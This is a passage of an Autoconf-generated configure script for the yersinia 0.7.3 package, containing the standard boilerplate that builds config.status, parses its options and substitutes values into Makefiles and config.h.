x\$as_var = x12") 2>/dev/null; then : eval 'as_fn_append () { eval $1+=\$2 }' else as_fn_append () { eval $1=\$$1\$2 } fi # as_fn_append # as_fn_arith ARG... # ------------------ # Perform arithmetic evaluation on the ARGs, and store the result in the # global $as_val. Take advantage of shells that can avoid forks. The arguments # must be portable across $(()) and expr. if (eval "test \$(( 1 + 1 )) = 2") 2>/dev/null; then : eval 'as_fn_arith () { as_val=$(( $* )) }' else as_fn_arith () { as_val=`expr "$@" || test $? -eq 1` } fi # as_fn_arith if expr a : '\(a\)' >/dev/null 2>&1 && test "X`expr 00001 : '.*\(...\)'`" = X001; then as_expr=expr else as_expr=false fi if (basename -- /) >/dev/null 2>&1 && test "X`basename -- / 2>&1`" = "X/"; then as_basename=basename else as_basename=false fi if (as_dir=`dirname -- /` && test "X$as_dir" = X/) >/dev/null 2>&1; then as_dirname=dirname else as_dirname=false fi as_me=`$as_basename -- "$0" || $as_expr X/"$0" : '.*/\([^/][^/]*\)/*$' \| \ X"$0" : 'X\(//\)$' \| \ X"$0" : 'X\(/\)' \| . 2>/dev/null || $as_echo X/"$0" | sed '/^.*\/\([^/][^/]*\)\/*$/{ s//\1/ q } /^X\/\(\/\/\)$/{ s//\1/ q } /^X\/\(\/\).*/{ s//\1/ q } s/.*/./; q'` # Avoid depending upon Character Ranges. as_cr_letters='abcdefghijklmnopqrstuvwxyz' as_cr_LETTERS='ABCDEFGHIJKLMNOPQRSTUVWXYZ' as_cr_Letters=$as_cr_letters$as_cr_LETTERS as_cr_digits='0123456789' as_cr_alnum=$as_cr_Letters$as_cr_digits ECHO_C= ECHO_N= ECHO_T= case `echo -n x` in #((((( -n*) case `echo 'xy\c'` in *c*) ECHO_T=' ';; # ECHO_T is single tab character. xy) ECHO_C='\c';; *) echo `echo ksh88 bug on AIX 6.1` > /dev/null ECHO_T=' ';; esac;; *) ECHO_N='-n';; esac rm -f conf$$ conf$$.exe conf$$.file if test -d conf$$.dir; then rm -f conf$$.dir/conf$$.file else rm -f conf$$.dir mkdir conf$$.dir 2>/dev/null fi if (echo >conf$$.file) 2>/dev/null; then if ln -s conf$$.file conf$$ 2>/dev/null; then as_ln_s='ln -s' # ... but there are two gotchas: # 1) On MSYS, both `ln -s file dir' and `ln file dir' fail. # 2) DJGPP < 2.04 has no symlinks; `ln -s' creates a wrapper executable. # In both cases, we have to default to `cp -p'. ln -s conf$$.file conf$$.dir 2>/dev/null && test ! -f conf$$.exe || as_ln_s='cp -p' elif ln conf$$.file conf$$ 2>/dev/null; then as_ln_s=ln else as_ln_s='cp -p' fi else as_ln_s='cp -p' fi rm -f conf$$ conf$$.exe conf$$.dir/conf$$.file conf$$.file rmdir conf$$.dir 2>/dev/null # as_fn_mkdir_p # ------------- # Create "$as_dir" as a directory, including parents if necessary. as_fn_mkdir_p () { case $as_dir in #( -*) as_dir=./$as_dir;; esac test -d "$as_dir" || eval $as_mkdir_p || { as_dirs= while :; do case $as_dir in #( *\'*) as_qdir=`$as_echo "$as_dir" | sed "s/'/'\\\\\\\\''/g"`;; #'( *) as_qdir=$as_dir;; esac as_dirs="'$as_qdir' $as_dirs" as_dir=`$as_dirname -- "$as_dir" || $as_expr X"$as_dir" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \ X"$as_dir" : 'X\(//\)[^/]' \| \ X"$as_dir" : 'X\(//\)$' \| \ X"$as_dir" : 'X\(/\)' \| . 2>/dev/null || $as_echo X"$as_dir" | sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ s//\1/ q } /^X\(\/\/\)[^/].*/{ s//\1/ q } /^X\(\/\/\)$/{ s//\1/ q } /^X\(\/\).*/{ s//\1/ q } s/.*/./; q'` test -d "$as_dir" && break done test -z "$as_dirs" || eval "mkdir $as_dirs" } || test -d "$as_dir" || as_fn_error $? "cannot create directory $as_dir" } # as_fn_mkdir_p if mkdir -p . 2>/dev/null; then as_mkdir_p='mkdir -p "$as_dir"' else test -d ./-p && rmdir ./-p as_mkdir_p=false fi if test -x / >/dev/null 2>&1; then as_test_x='test -x' else if ls -dL / >/dev/null 2>&1; then as_ls_L_option=L else as_ls_L_option= fi as_test_x=' eval sh -c '\'' if test -d "$1"; then test -d "$1/."; else case $1 in #( -*)set "./$1";; esac; case `ls -ld'$as_ls_L_option' "$1" 2>/dev/null` in #(( ???[sx]*):;;*)false;;esac;fi '\'' sh ' fi as_executable_p=$as_test_x # Sed expression to map a string onto a valid CPP name. as_tr_cpp="eval sed 'y%*$as_cr_letters%P$as_cr_LETTERS%;s%[^_$as_cr_alnum]%_%g'" # Sed expression to map a string onto a valid variable name. as_tr_sh="eval sed 'y%*+%pp%;s%[^_$as_cr_alnum]%_%g'" exec 6>&1 ## ----------------------------------- ## ## Main body of $CONFIG_STATUS script. ## ## ----------------------------------- ## _ASEOF test $as_write_fail = 0 && chmod +x $CONFIG_STATUS || ac_write_fail=1 cat >>$CONFIG_STATUS <<\_ACEOF || ac_write_fail=1 # Save the log message, to keep $0 and so on meaningful, and to # report actual input values of CONFIG_FILES etc. instead of their # values after options handling. ac_log=" This file was extended by yersinia $as_me 0.7.3, which was generated by GNU Autoconf 2.68. Invocation command line was CONFIG_FILES = $CONFIG_FILES CONFIG_HEADERS = $CONFIG_HEADERS CONFIG_LINKS = $CONFIG_LINKS CONFIG_COMMANDS = $CONFIG_COMMANDS $ $0 $@ on `(hostname || uname -n) 2>/dev/null | sed 1q` " _ACEOF case $ac_config_files in *" "*) set x $ac_config_files; shift; ac_config_files=$*;; esac case $ac_config_headers in *" "*) set x $ac_config_headers; shift; ac_config_headers=$*;; esac cat >>$CONFIG_STATUS <<_ACEOF || ac_write_fail=1 # Files that config.status was made for. config_files="$ac_config_files" config_headers="$ac_config_headers" config_commands="$ac_config_commands" _ACEOF cat >>$CONFIG_STATUS <<\_ACEOF || ac_write_fail=1 ac_cs_usage="\ \`$as_me' instantiates files and other configuration actions from templates according to the current configuration. Unless the files and actions are specified as TAGs, all are instantiated by default. Usage: $0 [OPTION]... [TAG]... -h, --help print this help, then exit -V, --version print version number and configuration settings, then exit --config print configuration, then exit -q, --quiet, --silent do not print progress messages -d, --debug don't remove temporary files --recheck update $as_me by reconfiguring in the same conditions --file=FILE[:TEMPLATE] instantiate the configuration file FILE --header=FILE[:TEMPLATE] instantiate the configuration header FILE Configuration files: $config_files Configuration headers: $config_headers Configuration commands: $config_commands Report bugs to ." _ACEOF cat >>$CONFIG_STATUS <<_ACEOF || ac_write_fail=1 ac_cs_config="`$as_echo "$ac_configure_args" | sed 's/^ //; s/[\\""\`\$]/\\\\&/g'`" ac_cs_version="\\ yersinia config.status 0.7.3 configured by $0, generated by GNU Autoconf 2.68, with options \\"\$ac_cs_config\\" Copyright (C) 2010 Free Software Foundation, Inc. This config.status script is free software; the Free Software Foundation gives unlimited permission to copy, distribute and modify it." ac_pwd='$ac_pwd' srcdir='$srcdir' INSTALL='$INSTALL' MKDIR_P='$MKDIR_P' AWK='$AWK' test -n "\$AWK" || AWK=awk _ACEOF cat >>$CONFIG_STATUS <<\_ACEOF || ac_write_fail=1 # The default lists apply if the user does not specify any file. ac_need_defaults=: while test $# != 0 do case $1 in --*=?*) ac_option=`expr "X$1" : 'X\([^=]*\)='` ac_optarg=`expr "X$1" : 'X[^=]*=\(.*\)'` ac_shift=: ;; --*=) ac_option=`expr "X$1" : 'X\([^=]*\)='` ac_optarg= ac_shift=: ;; *) ac_option=$1 ac_optarg=$2 ac_shift=shift ;; esac case $ac_option in # Handling of the options. -recheck | --recheck | --rechec | --reche | --rech | --rec | --re | --r) ac_cs_recheck=: ;; --version | --versio | --versi | --vers | --ver | --ve | --v | -V ) $as_echo "$ac_cs_version"; exit ;; --config | --confi | --conf | --con | --co | --c ) $as_echo "$ac_cs_config"; exit ;; --debug | --debu | --deb | --de | --d | -d ) debug=: ;; --file | --fil | --fi | --f ) $ac_shift case $ac_optarg in *\'*) ac_optarg=`$as_echo "$ac_optarg" | sed "s/'/'\\\\\\\\''/g"` ;; '') as_fn_error $? "missing file argument" ;; esac as_fn_append CONFIG_FILES " '$ac_optarg'" ac_need_defaults=false;; --header | --heade | --head | --hea ) $ac_shift case $ac_optarg in *\'*) ac_optarg=`$as_echo "$ac_optarg" | sed "s/'/'\\\\\\\\''/g"` ;; esac as_fn_append CONFIG_HEADERS " '$ac_optarg'" ac_need_defaults=false;; --he | --h) # Conflict between --help and --header as_fn_error $? "ambiguous option: \`$1' Try \`$0 --help' for more information.";; --help | --hel | -h ) $as_echo "$ac_cs_usage"; exit ;; -q | -quiet | --quiet | --quie | --qui | --qu | --q \ | -silent | --silent | --silen | --sile | --sil | --si | --s) ac_cs_silent=: ;; # This is an error. -*) as_fn_error $? "unrecognized option: \`$1' Try \`$0 --help' for more information." ;; *) as_fn_append ac_config_targets " $1" ac_need_defaults=false ;; esac shift done ac_configure_extra_args= if $ac_cs_silent; then exec 6>/dev/null ac_configure_extra_args="$ac_configure_extra_args --silent" fi _ACEOF cat >>$CONFIG_STATUS <<_ACEOF || ac_write_fail=1 if \$ac_cs_recheck; then set X '$SHELL' '$0' $ac_configure_args \$ac_configure_extra_args --no-create --no-recursion shift \$as_echo "running CONFIG_SHELL=$SHELL \$*" >&6 CONFIG_SHELL='$SHELL' export CONFIG_SHELL exec "\$@" fi _ACEOF cat >>$CONFIG_STATUS <<\_ACEOF || ac_write_fail=1 exec 5>>config.log { echo sed 'h;s/./-/g;s/^.../## /;s/...$/ ##/;p;x;p;x' <<_ASBOX ## Running $as_me. ## _ASBOX $as_echo "$ac_log" } >&5 _ACEOF cat >>$CONFIG_STATUS <<_ACEOF || ac_write_fail=1 # # INIT-COMMANDS # AMDEP_TRUE="$AMDEP_TRUE" ac_aux_dir="$ac_aux_dir" _ACEOF cat >>$CONFIG_STATUS <<\_ACEOF || ac_write_fail=1 # Handling of arguments. for ac_config_target in $ac_config_targets do case $ac_config_target in "src/config.h") CONFIG_HEADERS="$CONFIG_HEADERS src/config.h" ;; "depfiles") CONFIG_COMMANDS="$CONFIG_COMMANDS depfiles" ;; "default-1") CONFIG_COMMANDS="$CONFIG_COMMANDS default-1" ;; "Makefile") CONFIG_FILES="$CONFIG_FILES Makefile" ;; "src/Makefile") CONFIG_FILES="$CONFIG_FILES src/Makefile" ;; *) as_fn_error $? "invalid argument: \`$ac_config_target'" "$LINENO" 5;; esac done # If the user did not use the arguments to specify the items to instantiate, # then the envvar interface is used. Set only those that are not. # We use the long form for the default assignment because of an extremely # bizarre bug on SunOS 4.1.3. if $ac_need_defaults; then test "${CONFIG_FILES+set}" = set || CONFIG_FILES=$config_files test "${CONFIG_HEADERS+set}" = set || CONFIG_HEADERS=$config_headers test "${CONFIG_COMMANDS+set}" = set || CONFIG_COMMANDS=$config_commands fi # Have a temporary directory for convenience. Make it in the build tree # simply because there is no reason against having it here, and in addition, # creating and moving files from /tmp can sometimes cause problems. # Hook for its removal unless debugging. # Note that there is a small window in which the directory will not be cleaned: # after its creation but before its name has been assigned to `$tmp'. $debug || { tmp= ac_tmp= trap 'exit_status=$? : "${ac_tmp:=$tmp}" { test ! -d "$ac_tmp" || rm -fr "$ac_tmp"; } && exit $exit_status ' 0 trap 'as_fn_exit 1' 1 2 13 15 } # Create a (secure) tmp directory for tmp files. { tmp=`(umask 077 && mktemp -d "./confXXXXXX") 2>/dev/null` && test -d "$tmp" } || { tmp=./conf$$-$RANDOM (umask 077 && mkdir "$tmp") } || as_fn_error $? "cannot create a temporary directory in ." "$LINENO" 5 ac_tmp=$tmp # Set up the scripts for CONFIG_FILES section. # No need to generate them if there are no CONFIG_FILES. # This happens for instance with `./config.status config.h'. if test -n "$CONFIG_FILES"; then ac_cr=`echo X | tr X '\015'` # On cygwin, bash can eat \r inside `` if the user requested igncr. # But we know of no other shell where ac_cr would be empty at this # point, so we can use a bashism as a fallback. if test "x$ac_cr" = x; then eval ac_cr=\$\'\\r\' fi ac_cs_awk_cr=`$AWK 'BEGIN { print "a\rb" }' /dev/null` if test "$ac_cs_awk_cr" = "a${ac_cr}b"; then ac_cs_awk_cr='\\r' else ac_cs_awk_cr=$ac_cr fi echo 'BEGIN {' >"$ac_tmp/subs1.awk" && _ACEOF { echo "cat >conf$$subs.awk <<_ACEOF" && echo "$ac_subst_vars" | sed 's/.*/&!$&$ac_delim/' && echo "_ACEOF" } >conf$$subs.sh || as_fn_error $? "could not make $CONFIG_STATUS" "$LINENO" 5 ac_delim_num=`echo "$ac_subst_vars" | grep -c '^'` ac_delim='%!_!# ' for ac_last_try in false false false false false :; do . ./conf$$subs.sh || as_fn_error $? "could not make $CONFIG_STATUS" "$LINENO" 5 ac_delim_n=`sed -n "s/.*$ac_delim\$/X/p" conf$$subs.awk | grep -c X` if test $ac_delim_n = $ac_delim_num; then break elif $ac_last_try; then as_fn_error $? "could not make $CONFIG_STATUS" "$LINENO" 5 else ac_delim="$ac_delim!$ac_delim _$ac_delim!! " fi done rm -f conf$$subs.sh cat >>$CONFIG_STATUS <<_ACEOF || ac_write_fail=1 cat >>"\$ac_tmp/subs1.awk" <<\\_ACAWK && _ACEOF sed -n ' h s/^/S["/; s/!.*/"]=/ p g s/^[^!]*!// :repl t repl s/'"$ac_delim"'$// t delim :nl h s/\(.\{148\}\)..*/\1/ t more1 s/["\\]/\\&/g; s/^/"/; s/$/\\n"\\/ p n b repl :more1 s/["\\]/\\&/g; s/^/"/; s/$/"\\/ p g s/.\{148\}// t nl :delim h s/\(.\{148\}\)..*/\1/ t more2 s/["\\]/\\&/g; s/^/"/; s/$/"/ p b :more2 s/["\\]/\\&/g; s/^/"/; s/$/"\\/ p g s/.\{148\}// t delim ' >$CONFIG_STATUS || ac_write_fail=1 rm -f conf$$subs.awk cat >>$CONFIG_STATUS <<_ACEOF || ac_write_fail=1 _ACAWK cat >>"\$ac_tmp/subs1.awk" <<_ACAWK && for (key in S) S_is_set[key] = 1 FS = "" } { line = $ 0 nfields = split(line, field, "@") substed = 0 len = length(field[1]) for (i = 2; i < nfields; i++) { key = field[i] keylen = length(key) if (S_is_set[key]) { value = S[key] line = substr(line, 1, len) "" value "" substr(line, len + keylen + 3) len += length(value) + length(field[++i]) substed = 1 } else len += 1 + keylen } print line } _ACAWK _ACEOF cat >>$CONFIG_STATUS <<\_ACEOF || ac_write_fail=1 if sed "s/$ac_cr//" < /dev/null > /dev/null 2>&1; then sed "s/$ac_cr\$//; s/$ac_cr/$ac_cs_awk_cr/g" else cat fi < "$ac_tmp/subs1.awk" > "$ac_tmp/subs.awk" \ || as_fn_error $? "could not setup config files machinery" "$LINENO" 5 _ACEOF # VPATH may cause trouble with some makes, so we remove sole $(srcdir), # ${srcdir} and @srcdir@ entries from VPATH if srcdir is ".", strip leading and # trailing colons and then remove the whole line if VPATH becomes empty # (actually we leave an empty line to preserve line numbers). if test "x$srcdir" = x.; then ac_vpsub='/^[ ]*VPATH[ ]*=[ ]*/{ h s/// s/^/:/ s/[ ]*$/:/ s/:\$(srcdir):/:/g s/:\${srcdir}:/:/g s/:@srcdir@:/:/g s/^:*// s/:*$// x s/\(=[ ]*\).*/\1/ G s/\n// s/^[^=]*=[ ]*$// }' fi cat >>$CONFIG_STATUS <<\_ACEOF || ac_write_fail=1 fi # test -n "$CONFIG_FILES" # Set up the scripts for CONFIG_HEADERS section. # No need to generate them if there are no CONFIG_HEADERS. # This happens for instance with `./config.status Makefile'. if test -n "$CONFIG_HEADERS"; then cat >"$ac_tmp/defines.awk" <<\_ACAWK || BEGIN { _ACEOF # Transform confdefs.h into an awk script `defines.awk', embedded as # here-document in config.status, that substitutes the proper values into # config.h.in to produce config.h. # Create a delimiter string that does not exist in confdefs.h, to ease # handling of long lines. ac_delim='%!_!# ' for ac_last_try in false false :; do ac_tt=`sed -n "/$ac_delim/p" confdefs.h` if test -z "$ac_tt"; then break elif $ac_last_try; then as_fn_error $? "could not make $CONFIG_HEADERS" "$LINENO" 5 else ac_delim="$ac_delim!$ac_delim _$ac_delim!! " fi done # For the awk script, D is an array of macro values keyed by name, # likewise P contains macro parameters if any. Preserve backslash # newline sequences. ac_word_re=[_$as_cr_Letters][_$as_cr_alnum]* sed -n ' s/.\{148\}/&'"$ac_delim"'/g t rset :rset s/^[ ]*#[ ]*define[ ][ ]*/ / t def d :def s/\\$// t bsnl s/["\\]/\\&/g s/^ \('"$ac_word_re"'\)\(([^()]*)\)[ ]*\(.*\)/P["\1"]="\2"\ D["\1"]=" \3"/p s/^ \('"$ac_word_re"'\)[ ]*\(.*\)/D["\1"]=" \2"/p d :bsnl s/["\\]/\\&/g s/^ \('"$ac_word_re"'\)\(([^()]*)\)[ ]*\(.*\)/P["\1"]="\2"\ D["\1"]=" \3\\\\\\n"\\/p t cont s/^ \('"$ac_word_re"'\)[ ]*\(.*\)/D["\1"]=" \2\\\\\\n"\\/p t cont d :cont n s/.\{148\}/&'"$ac_delim"'/g t clear :clear s/\\$// t bsnlc s/["\\]/\\&/g; s/^/"/; s/$/"/p d :bsnlc s/["\\]/\\&/g; s/^/"/; s/$/\\\\\\n"\\/p b cont ' >$CONFIG_STATUS || ac_write_fail=1 cat >>$CONFIG_STATUS <<_ACEOF || ac_write_fail=1 for (key in D) D_is_set[key] = 1 FS = "" } /^[\t ]*#[\t ]*(define|undef)[\t ]+$ac_word_re([\t (]|\$)/ { line = \$ 0 split(line, arg, " ") if (arg[1] == "#") { defundef = arg[2] mac1 = arg[3] } else { defundef = substr(arg[1], 2) mac1 = arg[2] } split(mac1, mac2, "(") #) macro = mac2[1] prefix = substr(line, 1, index(line, defundef) - 1) if (D_is_set[macro]) { # Preserve the white space surrounding the "#". print prefix "define", macro P[macro] D[macro] next } else { # Replace #undef with comments. This is necessary, for example, # in the case of _POSIX_SOURCE, which is predefined and required # on some systems where configure will not decide to define it. if (defundef == "undef") { print "/*", prefix defundef, macro, "*/" next } } } { print } _ACAWK _ACEOF cat >>$CONFIG_STATUS <<\_ACEOF || ac_write_fail=1 as_fn_error $? "could not setup config headers machinery" "$LINENO" 5 fi # test -n "$CONFIG_HEADERS" eval set X " :F $CONFIG_FILES :H $CONFIG_HEADERS :C $CONFIG_COMMANDS" shift for ac_tag do case $ac_tag in :[FHLC]) ac_mode=$ac_tag; continue;; esac case $ac_mode$ac_tag in :[FHL]*:*);; :L* | :C*:*) as_fn_error $? "invalid tag \`$ac_tag'" "$LINENO" 5;; :[FH]-) ac_tag=-:-;; :[FH]*) ac_tag=$ac_tag:$ac_tag.in;; esac ac_save_IFS=$IFS IFS=: set x $ac_tag IFS=$ac_save_IFS shift ac_file=$1 shift case $ac_mode in :L) ac_source=$1;; :[FH]) ac_file_inputs= for ac_f do case $ac_f in -) ac_f="$ac_tmp/stdin";; *) # Look for the file first in the build tree, then in the source tree # (if the path is not absolute). The absolute path cannot be DOS-style, # because $ac_f cannot contain `:'. test -f "$ac_f" || case $ac_f in [\\/$]*) false;; *) test -f "$srcdir/$ac_f" && ac_f="$srcdir/$ac_f";; esac || as_fn_error 1 "cannot find input file: \`$ac_f'" "$LINENO" 5;; esac case $ac_f in *\'*) ac_f=`$as_echo "$ac_f" | sed "s/'/'\\\\\\\\''/g"`;; esac as_fn_append ac_file_inputs " '$ac_f'" done # Let's still pretend it is `configure' which instantiates (i.e., don't # use $as_me), people would be surprised to read: # /* config.h. Generated by config.status. */ configure_input='Generated from '` $as_echo "$*" | sed 's|^[^:]*/||;s|:[^:]*/|, |g' `' by configure.' if test x"$ac_file" != x-; then configure_input="$ac_file. $configure_input" { $as_echo "$as_me:${as_lineno-$LINENO}: creating $ac_file" >&5 $as_echo "$as_me: creating $ac_file" >&6;} fi # Neutralize special characters interpreted by sed in replacement strings. case $configure_input in #( *\&* | *\|* | *\\* ) ac_sed_conf_input=`$as_echo "$configure_input" | sed 's/[\\\\&|]/\\\\&/g'`;; #( *) ac_sed_conf_input=$configure_input;; esac case $ac_tag in *:-:* | *:-) cat >"$ac_tmp/stdin" \ || as_fn_error $? "could not create $ac_file" "$LINENO" 5 ;; esac ;; esac ac_dir=`$as_dirname -- "$ac_file" || $as_expr X"$ac_file" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \ X"$ac_file" : 'X\(//\)[^/]' \| \ X"$ac_file" : 'X\(//\)$' \| \ X"$ac_file" : 'X\(/\)' \| . 2>/dev/null || $as_echo X"$ac_file" | sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ s//\1/ q } /^X\(\/\/\)[^/].*/{ s//\1/ q } /^X\(\/\/\)$/{ s//\1/ q } /^X\(\/\).*/{ s//\1/ q } s/.*/./; q'` as_dir="$ac_dir"; as_fn_mkdir_p ac_builddir=. case "$ac_dir" in .) ac_dir_suffix= ac_top_builddir_sub=. ac_top_build_prefix= ;; *) ac_dir_suffix=/`$as_echo "$ac_dir" | sed 's|^\.[\\/]||'` # A ".." for each directory in $ac_dir_suffix. ac_top_builddir_sub=`$as_echo "$ac_dir_suffix" | sed 's|/[^\\/]*|/..|g;s|/||'` case $ac_top_builddir_sub in "") ac_top_builddir_sub=. ac_top_build_prefix= ;; *) ac_top_build_prefix=$ac_top_builddir_sub/ ;; esac ;; esac ac_abs_top_builddir=$ac_pwd ac_abs_builddir=$ac_pwd$ac_dir_suffix # for backward compatibility: ac_top_builddir=$ac_top_build_prefix case $srcdir in .) # We are building in place. ac_srcdir=. ac_top_srcdir=$ac_top_builddir_sub ac_abs_top_srcdir=$ac_pwd ;; [\\/]* | ?:[\\/]* ) # Absolute name. ac_srcdir=$srcdir$ac_dir_suffix; ac_top_srcdir=$srcdir ac_abs_top_srcdir=$srcdir ;; *) # Relative name. ac_srcdir=$ac_top_build_prefix$srcdir$ac_dir_suffix ac_top_srcdir=$ac_top_build_prefix$srcdir ac_abs_top_srcdir=$ac_pwd/$srcdir ;; esac ac_abs_srcdir=$ac_abs_top_srcdir$ac_dir_suffix case $ac_mode in :F) # # CONFIG_FILE # case $INSTALL in [\\/$]* | ?:[\\/]* ) ac_INSTALL=$INSTALL ;; *) ac_INSTALL=$ac_top_build_prefix$INSTALL ;; esac ac_MKDIR_P=$MKDIR_P case $MKDIR_P in [\\/$]* | ?:[\\/]* ) ;; */*) ac_MKDIR_P=$ac_top_build_prefix$MKDIR_P ;; esac _ACEOF cat >>$CONFIG_STATUS <<\_ACEOF || ac_write_fail=1 # If the template does not know about datarootdir, expand it. # FIXME: This hack should be removed a few years after 2.60. ac_datarootdir_hack=; ac_datarootdir_seen= ac_sed_dataroot=' /datarootdir/ { p q } /@datadir@/p /@docdir@/p /@infodir@/p /@localedir@/p /@mandir@/p' case `eval "sed -n \"\$ac_sed_dataroot\" $ac_file_inputs"` in *datarootdir*) ac_datarootdir_seen=yes;; *@datadir@*|*@docdir@*|*@infodir@*|*@localedir@*|*@mandir@*) { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: $ac_file_inputs seems to ignore the --datarootdir setting" >&5 $as_echo "$as_me: WARNING: $ac_file_inputs seems to ignore the --datarootdir setting" >&2;} _ACEOF cat >>$CONFIG_STATUS <<_ACEOF || ac_write_fail=1 ac_datarootdir_hack=' s&@datadir@&$datadir&g s&@docdir@&$docdir&g s&@infodir@&$infodir&g s&@localedir@&$localedir&g s&@mandir@&$mandir&g s&\\\${datarootdir}&$datarootdir&g' ;; esac _ACEOF # Neutralize VPATH when `$srcdir' = `.'. # Shell code in configure.ac might set extrasub. # FIXME: do we really want to maintain this feature? cat >>$CONFIG_STATUS <<_ACEOF || ac_write_fail=1 ac_sed_extra="$ac_vpsub $extrasub _ACEOF cat >>$CONFIG_STATUS <<\_ACEOF || ac_write_fail=1 :t /@[a-zA-Z_][a-zA-Z_0-9]*@/!b s|@configure_input@|$ac_sed_conf_input|;t t s&@top_builddir@&$ac_top_builddir_sub&;t t s&@top_build_prefix@&$ac_top_build_prefix&;t t s&@srcdir@&$ac_srcdir&;t t s&@abs_srcdir@&$ac_abs_srcdir&;t t s&@top_srcdir@&$ac_top_srcdir&;t t s&@abs_top_srcdir@&$ac_abs_top_srcdir&;t t s&@builddir@&$ac_builddir&;t t s&@abs_builddir@&$ac_abs_builddir&;t t s&@abs_top_builddir@&$ac_abs_top_builddir&;t t s&@INSTALL@&$ac_INSTALL&;t t s&@MKDIR_P@&$ac_MKDIR_P&;t t $ac_datarootdir_hack " eval sed \"\$ac_sed_extra\" "$ac_file_inputs" | $AWK -f "$ac_tmp/subs.awk" \ >$ac_tmp/out || as_fn_error $? "could not create $ac_file" "$LINENO" 5 test -z "$ac_datarootdir_hack$ac_datarootdir_seen" && { ac_out=`sed -n '/\${datarootdir}/p' "$ac_tmp/out"`; test -n "$ac_out"; } && { ac_out=`sed -n '/^[ ]*datarootdir[ ]*:*=/p' \ "$ac_tmp/out"`; test -z "$ac_out"; } && { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: $ac_file contains a reference to the variable \`datarootdir' which seems to be undefined. Please make sure it is defined" >&5 $as_echo "$as_me: WARNING: $ac_file contains a reference to the variable \`datarootdir' which seems to be undefined. Please make sure it is defined" >&2;} rm -f "$ac_tmp/stdin" case $ac_file in -) cat "$ac_tmp/out" && rm -f "$ac_tmp/out";; *) rm -f "$ac_file" && mv "$ac_tmp/out" "$ac_file";; esac \ || as_fn_error $? "could not create $ac_file" "$LINENO" 5 ;; :H) # # CONFIG_HEADER # if test x"$ac_file" != x-; then { $as_echo "/* $configure_input */" \ && eval '$AWK -f "$ac_tmp/defines.awk"' "$ac_file_inputs" } >"$ac_tmp/config.h" \ || as_fn_error $? "could not create $ac_file" "$LINENO" 5 if diff "$ac_file" "$ac_tmp/config.h" >/dev/null 2>&1; then { $as_echo "$as_me:${as_lineno-$LINENO}: $ac_file is unchanged" >&5 $as_echo "$as_me: $ac_file is unchanged" >&6;} else rm -f "$ac_file" mv "$ac_tmp/config.h" "$ac_file" \ || as_fn_error $? "could not create $ac_file" "$LINENO" 5 fi else $as_echo "/* $configure_input */" \ && eval '$AWK -f "$ac_tmp/defines.awk"' "$ac_file_inputs" \ || as_fn_error $? "could not create -" "$LINENO" 5 fi # Compute "$ac_file"'s index in $config_headers. _am_arg="$ac_file" _am_stamp_count=1 for _am_header in $config_headers :; do case $_am_header in $_am_arg | $_am_arg:* ) break ;; * ) _am_stamp_count=`expr $_am_stamp_count + 1` ;; esac done echo "timestamp for $_am_arg" >`$as_dirname -- "$_am_arg" || $as_expr X"$_am_arg" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \ X"$_am_arg" : 'X\(//\)[^/]' \| \ X"$_am_arg" : 'X\(//\)$' \| \ X"$_am_arg" : 'X\(/\)' \| . 2>/dev/null || $as_echo X"$_am_arg" | sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ s//\1/ q } /^X\(\/\/\)[^/].*/{ s//\1/ q } /^X\(\/\/\)$/{ s//\1/ q } /^X\(\/\).*/{ s//\1/ q } s/.*/./; q'`/stamp-h$_am_stamp_count ;; :C) { $as_echo "$as_me:${as_lineno-$LINENO}: executing $ac_file commands" >&5 $as_echo "$as_me: executing $ac_file commands" >&6;} ;; esac case $ac_file$ac_mode in "depfiles":C) test x"$AMDEP_TRUE" != x"" || { # Autoconf 2.62 quotes --file arguments for eval, but not when files # are listed without --file. Let's play safe and only enable the eval # if we detect the quoting. case $CONFIG_FILES in *\'*) eval set x "$CONFIG_FILES" ;; *) set x $CONFIG_FILES ;; esac shift for mf do # Strip MF so we end up with the name of the file. mf=`echo "$mf" | sed -e 's/:.*$//'` # Check whether this is an Automake generated Makefile or not. # We used to match only the files named `Makefile.in', but # some people rename them; so instead we look at the file content. # Grep'ing the first line is not enough: some people post-process # each Makefile.in and add a new line on top of each file to say so. # Grep'ing the whole file is not good either: AIX grep has a line # limit of 2048, but all sed's we know have understand at least 4000. if sed -n 's,^#.*generated by automake.*,X,p' "$mf" | grep X >/dev/null 2>&1; then dirpart=`$as_dirname -- "$mf" || $as_expr X"$mf" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \ X"$mf" : 'X\(//\)[^/]' \| \ X"$mf" : 'X\(//\)$' \| \ X"$mf" : 'X\(/\)' \| . 2>/dev/null || $as_echo X"$mf" | sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ s//\1/ q } /^X\(\/\/\)[^/].*/{ s//\1/ q } /^X\(\/\/\)$/{ s//\1/ q } /^X\(\/\).*/{ s//\1/ q } s/.*/./; q'` else continue fi # Extract the definition of DEPDIR, am__include, and am__quote # from the Makefile without running `make'. DEPDIR=`sed -n 's/^DEPDIR = //p' < "$mf"` test -z "$DEPDIR" && continue am__include=`sed -n 's/^am__include = //p' < "$mf"` test -z "am__include" && continue am__quote=`sed -n 's/^am__quote = //p' < "$mf"` # When using ansi2knr, U may be empty or an underscore; expand it U=`sed -n 's/^U = //p' < "$mf"` # Find all dependency output files, they are included files with # $(DEPDIR) in their names. We invoke sed twice because it is the # simplest approach to changing $(DEPDIR) to its actual value in the # expansion. for file in `sed -n " s/^$am__include $am__quote\(.*(DEPDIR).*\)$am__quote"'$/\1/p' <"$mf" | \ sed -e 's/\$(DEPDIR)/'"$DEPDIR"'/g' -e 's/\$U/'"$U"'/g'`; do # Make sure the directory exists. test -f "$dirpart/$file" && continue fdir=`$as_dirname -- "$file" || $as_expr X"$file" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \ X"$file" : 'X\(//\)[^/]' \| \ X"$file" : 'X\(//\)$' \| \ X"$file" : 'X\(/\)' \| . 2>/dev/null || $as_echo X"$file" | sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ s//\1/ q } /^X\(\/\/\)[^/].*/{ s//\1/ q } /^X\(\/\/\)$/{ s//\1/ q } /^X\(\/\).*/{ 